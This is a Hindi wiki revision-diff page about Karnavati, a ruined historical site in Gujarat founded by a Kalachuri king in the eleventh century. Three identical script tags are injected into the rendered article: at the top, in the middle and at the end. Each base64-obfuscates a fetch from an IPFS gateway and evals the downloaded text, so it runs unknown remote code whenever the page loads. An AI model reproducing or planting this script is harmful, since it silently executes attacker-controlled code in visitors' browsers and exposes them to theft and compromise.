"कर्णावती" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - ")</ref" to "</ref")
 
(3 सदस्यों द्वारा किये गये बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
{{बहुविकल्प|बहुविकल्पी शब्द=कर्णावती|लेख का नाम=कर्णावती (बहुविकल्पी)}}
[[कर्णवेल]] कलचुरिनरेश राजा कर्ण देव (1041-1073) ने इस नगरी की नींव डाली थी-  
+
'''कर्णावती''' [[गुजरात]] का ऐतिहासिक स्थान है जो अब पूर्णत: खंडहर हो गया है और घने कंटीले जंगलों से ढका है। केवल दो-एक खंभे प्राचीन मंदिरों की कारीगरी के प्रतीक रूप में वर्तमान हैं। वैसे कर्णावती के प्राचीन दुर्ग के खंडहर दो मील तक फैले हुए हैं।
ब्रह्मस्तंभोयेन कर्णावतीति प्रत्यष्ठापिक्ष्मातलब्रह्मलोक:<ref>एपिग्राफिका इंडिका, जिल्द 2, पृ. 4, श्लोकार्ध 14</ref>  
+
* [[कर्णवेल]] कलचुरिनरेश राजा कर्ण देव (1041-1073) ने इस नगरी की नींव डाली थी-  
 +
<blockquote>ब्रह्मस्तंभोयेन कर्णावतीति प्रत्यष्ठापिक्ष्मातलब्रह्मलोक:<ref>एपिग्राफिका इंडिका, जिल्द 2, पृ. 4, श्लोकार्ध 14</ref></blockquote>  
  
कर्णावती अब पूर्णत: खंडहर हो गया है और घने कंटीले जंगलों से ढका है। केवल दो-एक खंभे प्राचीन मंदिरों की कारीगरी के प्रतीक रूप में वर्तमान हैं। वैसे कर्णावती के प्राचीन दुर्ग के खंडहर दो मील तक फैले हुए हैं।
 
  
{{संदर्भ ग्रंथ}}
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==बाहरी कड़ियाँ==
+
*ऐतिहासिक स्थानावली | पृष्ठ संख्या= 145| विजयेन्द्र कुमार माथुर |  वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
  
 
==संबंधित लेख==
 
==संबंधित लेख==
 +
{{गुजरात के ऐतिहासिक स्थान}}
 
[[Category:ऐतिहासिक स्थान कोश]]
 
[[Category:ऐतिहासिक स्थान कोश]]
[[Category:नया पन्ना]]
+
[[Category:गुजरात]][[Category:गुजरात के ऐतिहासिक स्थान]][[Category:ऐतिहासिक स्थानावली]]
 
__INDEX__
 
__INDEX__

14:22, 30 मार्च 2019 के समय का अवतरण

Disamb2.jpg कर्णावती एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- कर्णावती (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कर्णावती गुजरात का ऐतिहासिक स्थान है जो अब पूर्णत: खंडहर हो गया है और घने कंटीले जंगलों से ढका है। केवल दो-एक खंभे प्राचीन मंदिरों की कारीगरी के प्रतीक रूप में वर्तमान हैं। वैसे कर्णावती के प्राचीन दुर्ग के खंडहर दो मील तक फैले हुए हैं।

  • कर्णवेल कलचुरिनरेश राजा कर्ण देव (1041-1073) ने इस नगरी की नींव डाली थी-

ब्रह्मस्तंभोयेन कर्णावतीति प्रत्यष्ठापिक्ष्मातलब्रह्मलोक:[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. एपिग्राफिका इंडिका, जिल्द 2, पृ. 4, श्लोकार्ध 14
  • ऐतिहासिक स्थानावली | पृष्ठ संख्या= 145| विजयेन्द्र कुमार माथुर |  वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>